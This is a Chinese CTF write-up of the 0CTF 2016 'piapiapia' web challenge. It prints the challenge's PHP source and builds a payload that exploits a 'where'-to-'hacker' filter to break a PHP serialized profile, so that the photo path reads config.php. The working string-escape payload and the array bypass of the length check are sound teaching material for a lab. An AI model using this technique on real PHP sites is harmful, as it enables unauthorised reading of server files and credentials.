[0CTF 2016]piapiapia

Posted LLeaves

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[0CTF 2016]piapiapia相关的知识,希望对你有一定的参考价值。

[0CTF 2016]piapiapia

1.审题

进入登录页面,简单的sql注入无效,可能是过滤了大部分的注入字符

dirsearch扫描一下,发现源码泄漏,www.zip

下载,源码审计

2.源码审计

config.php

<?php
	$config[\'hostname\'] = \'127.0.0.1\';
	$config[\'username\'] = \'root\';
	$config[\'password\'] = \'\';
	$config[\'database\'] = \'\';
	$flag = \'\';
?>

猜测flag在这个文件中,我们要有一个意识:这是我们下载下来的源码,并非真正的服务端运行的源码,本地搭建做题环境时要改成自己的用户名、密码之类,在服务端docker的主机里,$flag变量应该存的就是我们要的flag。

register.php

<?php
	require_once(\'class.php\');
	if($_POST[\'username\'] && $_POST[\'password\']) {
		$username = $_POST[\'username\'];
		$password = $_POST[\'password\'];

		if(strlen($username) < 3 or strlen($username) > 16) 
			die(\'Invalid user name\');

		if(strlen($password) < 3 or strlen($password) > 16) 
			die(\'Invalid password\');
		if(!$user->is_exists($username)) {
			$user->register($username, $password);
			echo \'Register OK!<a href="index.php">Please Login</a>\';		
		}
		else {
			die(\'User name Already Exists\');
		}
	}
	else {
?>
<!DOCTYPE html>
<html>
<head>
   <title>Login</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px">  
		<form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;"> 
			<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
			<h3>Register</h3>
			<label>Username:</label>
			<input type="text" name="username" style="height:30px"class="span3"/>
			<label>Password:</label>
			<input type="password" name="password" style="height:30px" class="span3">

			<button type="submit" class="btn btn-primary">REGISTER</button>
		</form>
	</div>
</body>
</html>
<?php
	}
?>

update.php

<?php
	require_once(\'class.php\');
	if($_SESSION[\'username\'] == null) {
		die(\'Login First\');	
	}
	if($_POST[\'phone\'] && $_POST[\'email\'] && $_POST[\'nickname\'] && $_FILES[\'photo\']) {

		$username = $_SESSION[\'username\'];
		if(!preg_match(\'/^\\d{11}$/\', $_POST[\'phone\']))
			die(\'Invalid phone\');

		if(!preg_match(\'/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\\.[_a-zA-Z0-9]{1,10}$/\', $_POST[\'email\']))
			die(\'Invalid email\');
		
		if(preg_match(\'/[^a-zA-Z0-9_]/\', $_POST[\'nickname\']) || strlen($_POST[\'nickname\']) > 10)
			die(\'Invalid nickname\');

		$file = $_FILES[\'photo\'];
		if($file[\'size\'] < 5 or $file[\'size\'] > 1000000)
			die(\'Photo size error\');

		move_uploaded_file($file[\'tmp_name\'], \'upload/\' . md5($file[\'name\']));
		$profile[\'phone\'] = $_POST[\'phone\'];
		$profile[\'email\'] = $_POST[\'email\'];
		$profile[\'nickname\'] = $_POST[\'nickname\'];
		$profile[\'photo\'] = \'upload/\' . md5($file[\'name\']);

		$user->update_profile($username, serialize($profile));
		echo \'Update Profile Success!<a href="profile.php">Your Profile</a>\';
	}
	else {
?>
<!DOCTYPE html>
<html>
<head>
   <title>UPDATE</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px">  
		<form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;"> 
			<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
			<h3>Please Update Your Profile</h3>
			<label>Phone:</label>
			<input type="text" name="phone" style="height:30px"class="span3"/>
			<label>Email:</label>
			<input type="text" name="email" style="height:30px"class="span3"/>
			<label>Nickname:</label>
			<input type="text" name="nickname" style="height:30px" class="span3">
			<label for="file">Photo:</label>
			<input type="file" name="photo" style="height:30px"class="span3"/>
			<button type="submit" class="btn btn-primary">UPDATE</button>
		</form>
	</div>
</body>
</html>
<?php
	}
?>

profile.php

<?php
	require_once(\'class.php\');
	if($_SESSION[\'username\'] == null) {
		die(\'Login First\');	
	}
	$username = $_SESSION[\'username\'];
	$profile=$user->show_profile($username);
	if($profile  == null) {
		header(\'Location: update.php\');
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile[\'phone\'];
		$email = $profile[\'email\'];
		$nickname = $profile[\'nickname\'];
		$photo = base64_encode(file_get_contents($profile[\'photo\']));
?>
<!DOCTYPE html>
<html>
<head>
   <title>Profile</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px">  
		<img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
		<h3>Hi <?php echo $nickname;?></h3>
		<label>Phone: <?php echo $phone;?></label>
		<label>Email: <?php echo $email;?></label>
	</div>
</body>
</html>
<?php
	}
?>

index.php

<?php
	require_once(\'class.php\');
	if($_SESSION[\'username\']) {
		header(\'Location: profile.php\');
		exit;
	}
	if($_POST[\'username\'] && $_POST[\'password\']) {
		$username = $_POST[\'username\'];
		$password = $_POST[\'password\'];

		if(strlen($username) < 3 or strlen($username) > 16) 
			die(\'Invalid user name\');

		if(strlen($password) < 3 or strlen($password) > 16) 
			die(\'Invalid password\');

		if($user->login($username, $password)) {
			$_SESSION[\'username\'] = $username;
			header(\'Location: profile.php\');
			exit;	
		}
		else {
			die(\'Invalid user name or password\');
		}
	}
	else {
?>
<!DOCTYPE html>
<html>
<head>
   <title>Login</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px">  
		<form action="index.php" method="post" class="well" style="width:220px;margin:0px auto;"> 
			<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
			<h3>Login</h3>
			<label>Username:</label>
			<input type="text" name="username" style="height:30px"class="span3"/>
			<label>Password:</label>
			<input type="password" name="password" style="height:30px" class="span3">

			<button type="submit" class="btn btn-primary">LOGIN</button>
		</form>
	</div>
</body>
</html>
<?php
	}
?>

class.php

<?php
require(\'config.php\');

class user extends mysql{
	private $table = \'users\';

	public function is_exists($username) {
		$username = parent::filter($username);

		$where = "username = \'$username\'";
		return parent::select($this->table, $where);
	}
	public function register($username, $password) {
		$username = parent::filter($username);
		$password = parent::filter($password);

		$key_list = Array(\'username\', \'password\');
		$value_list = Array($username, md5($password));
		return parent::insert($this->table, $key_list, $value_list);
	}
	public function login($username, $password) {
		$username = parent::filter($username);
		$password = parent::filter($password);

		$where = "username = \'$username\'";
		$object = parent::select($this->table, $where);
		if ($object && $object->password === md5($password)) {
			return true;
		} else {
			return false;
		}
	}
	public function show_profile($username) {
		$username = parent::filter($username);

		$where = "username = \'$username\'";
		$object = parent::select($this->table, $where);
		return $object->profile;
	}
	public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = \'$username\'";
		return parent::update($this->table, \'profile\', $new_profile, $where);
	}
	public function __tostring() {
		return __class__;
	}
}

class mysql {
	private $link = null;

	public function connect($config) {
		$this->link = mysql_connect(
			$config[\'hostname\'],
			$config[\'username\'], 
			$config[\'password\']
		);
		mysql_select_db($config[\'database\']);
		mysql_query("SET sql_mode=\'strict_all_tables\'");

		return $this->link;
	}

	public function select($table, $where, $ret = \'*\') {
		$sql = "SELECT $ret FROM $table WHERE $where";
		$result = mysql_query($sql, $this->link);
		return mysql_fetch_object($result);
	}

	public function insert($table, $key_list, $value_list) {
		$key = implode(\',\', $key_list);
		$value = \'\\\'\' . implode(\'\\\',\\\'\', $value_list) . \'\\\'\'; 
		$sql = "INSERT INTO $table ($key) VALUES ($value)";
		return mysql_query($sql);
	}

	public function update($table, $key, $value, $where) {
		$sql = "UPDATE $table SET $key = \'$value\' WHERE $where";
		return mysql_query($sql);
	}

	public function filter($string) {
		$escape = array(\'\\\'\', \'\\\\\\\\\');
		$escape = \'/\' . implode(\'|\', $escape) . \'/\';
		$string = preg_replace($escape, \'_\', $string);

		$safe = array(\'select\', \'insert\', \'update\', \'delete\', \'where\');
		$safe = \'/\' . implode(\'|\', $safe) . \'/i\';
		return preg_replace($safe, \'hacker\', $string);
	}
	public function __tostring() {
		return __class__;
	}
}
session_start();
$user = new user();
$user->connect($config);

我们的目的是读取config.php

观察有没有任意文件读取漏洞,发现在profile.php中有这样一段

<?php
	require_once(\'class.php\');
	if($_SESSION[\'username\'] == null) {
		die(\'Login First\');	
	}
	$username = $_SESSION[\'username\'];
	$profile=$user->show_profile($username);
	if($profile  == null) {
		header(\'Location: update.php\');
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile[\'phone\'];
		$email = $profile[\'email\'];
		$nickname = $profile[\'nickname\'];
		$photo = base64_encode(file_get_contents($profile[\'photo\']));
?>

观察profile的入口,在update里

move_uploaded_file($file[\'tmp_name\'], \'upload/\' . md5($file[\'name\']));
		$profile[\'phone\'] = $_POST[\'phone\'];
		$profile[\'email\'] = $_POST[\'email\'];
		$profile[\'nickname\'] = $_POST[\'nickname\'];
		$profile[\'photo\'] = \'upload/\' . md5($file[\'name\']);

		$user->update_profile($username, serialize($profile));
		echo \'Update Profile Success!<a href="profile.php">Your Profile</a>\';

这里肯定不能直接对photo进行修改,那就考虑nickname入口,先试着构造下

<?php
$profile[\'phone\']=\'12345678901\';
$profile[\'email\']=\'for@example.com\';
$profile[\'nickname\']=\'";s:5:"photo";s:10:"config.php";}\';
$profile[\'photo\']=\'upload/21232f297a57a5a743894a0e4a801fc3\';
var_dump(serialize($profile));
?>
结果

string(187) "a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:15:"for@example.com";s:8:"nickname";s:33:"";s:5:"photo";s:10:"config.php";}";s:5:"photo";s:39:"upload/21232f297a57a5a743894a0e4a801fc3";}"

但是问题是如何让后面的部分s:5:"photo";s:10:"config.php";逃逸

寻找过滤函数、

该题对nickname进行两次过滤

第一次是长度过滤,可以通过数组绕过,但不足以然我们的config.php逃逸

但是,问题在于,构造的nickname必须是数组形式

if(preg_match(\'/[^a-zA-Z0-9_]/\', $_POST[\'nickname\']) || strlen($_POST[\'nickname\']) > 10)
			die(\'Invalid nickname\');

第二次是关键字过滤,看如何利用

public function filter($string) {
		$escape = array(\'\\\'\', \'\\\\\\\\\');
		$escape = \'/\' . implode(\'|\', $escape) . \'/\';
		$string = preg_replace($escape, \'_\', $string);

		$safe = array(\'select\', \'insert\', \'update\', \'delete\', \'where\');
		$safe = \'/\' . implode(\'|\', $safe) . \'/i\';
		return preg_replace($safe, \'hacker\', $string);
	}

这里只有where是五个字符,其余均为6字符,替换为hacker六字符,考虑可否通过此处吞掉多余的字符,关于吞字符,可以在我的另一篇博客easy_serialize_php中了解详情

开始实验,先大致算一下,然后慢慢加减

错误示例

<?php
function filter($string){
    $safe = array(\'select\', \'insert\', \'update\', \'delete\', \'where\');
    $safe = \'/\' . implode(\'|\', $safe) . \'/i\';
    return preg_replace($safe, \'hacker\', $string);
}
$profile[\'phone\']=\'12345678901\';
$profile[\'email\']=\'for@example.com\';
$profile[\'nickname\']=\'wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";s:5:"photo";s:10:"config.php";}\';
$profile[\'photo\']=\'upload/21232f297a57a5a743894a0e4a801fc3\';

var_dump(filter(serialize($profile)));
?>

写入33个where,结果

string(392) "a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:15:"for@example.com";s:8:"nickname";s:198:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:5:"photo";s:10:"config.php";}";s:5:"photo";s:39:"upload/21232f297a57a5a743894a0e4a801fc3";}"

计算198=33*6构造成功,但是实际没成功,因为nickname没写成数组形式

正确示范(因为nickname是数组,需要重新构造并且用}闭合,此时为204位,即34个where)

注意 数组构造后下一个元素前不需要封号where";}s:5:"photo";,非数组则有where";s:5:"photo";

<?php
function filter($string){
    $safe = array(\'select\', \'insert\', \'update\', \'delete\', \'where\');
    $safe = \'/\' . implode(\'|\', $safe) . \'/i\';
    return preg_replace($safe, \'hacker\', $string);
}
$a=array(\'wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}\');
$profile[\'phone\']=\'12345678901\';
$profile[\'email\']=\'for@example.com\';
$profile[\'nickname\']=$a;
$profile[\'photo\']=\'upload/21232f297a57a5a743894a0e4a801fc3\';

var_dump(filter(serialize($profile)));

结果

string(403) "a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:15:"for@example.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/21232f297a57a5a743894a0e4a801fc3";}"

3.解题

先注册一个账号,登录

上传随意一张图

抓包后修改内容


解码即可

参考博客

http://yqxiaojunjie.com/index.php/archives/171/

https://blog.csdn.net/crisprx/article/details/104705018/

https://www.jianshu.com/p/3b44e72444c1

http://www.mamicode.com/info-detail-2903729.html

https://blog.csdn.net/zz_Caleb/article/details/96777110

以上是关于[0CTF 2016]piapiapia的主要内容,如果未能解决你的问题,请参考以下文章

BUU-WEB-[0CTF 2016]piapiapia

[0CTF 2016]piapiapia

[0CTF 2016]piapiapia

# [0CTF 2016]piapiapia解题详细思路及复现

[0CTF 2016]piapiapia

[0CTF 2016]piapiapia